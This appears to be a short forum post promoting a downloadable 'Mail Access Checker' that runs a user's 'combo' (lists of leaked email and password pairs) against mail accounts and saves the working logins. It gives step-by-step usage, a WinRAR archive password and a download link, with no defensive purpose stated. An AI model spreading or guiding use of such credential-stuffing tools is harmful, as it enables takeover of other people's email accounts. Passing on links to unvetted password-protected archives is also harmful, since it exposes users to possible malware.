So far I have managed to find the fastest and most efficient mail checker for validity, I use it myself, it does not require a proxy.
1. Run the program
2. Click on ENTER
3. Choose our combo and wait
4. the program itself creates a text document where it is MailAcces
WinRAR PASSWORD
25
DOWNLOAD[url=https://bitbucket.org/software22/awdadadad/downloads/Mail_Access_Checker_By_Blackbeard.rar][/url]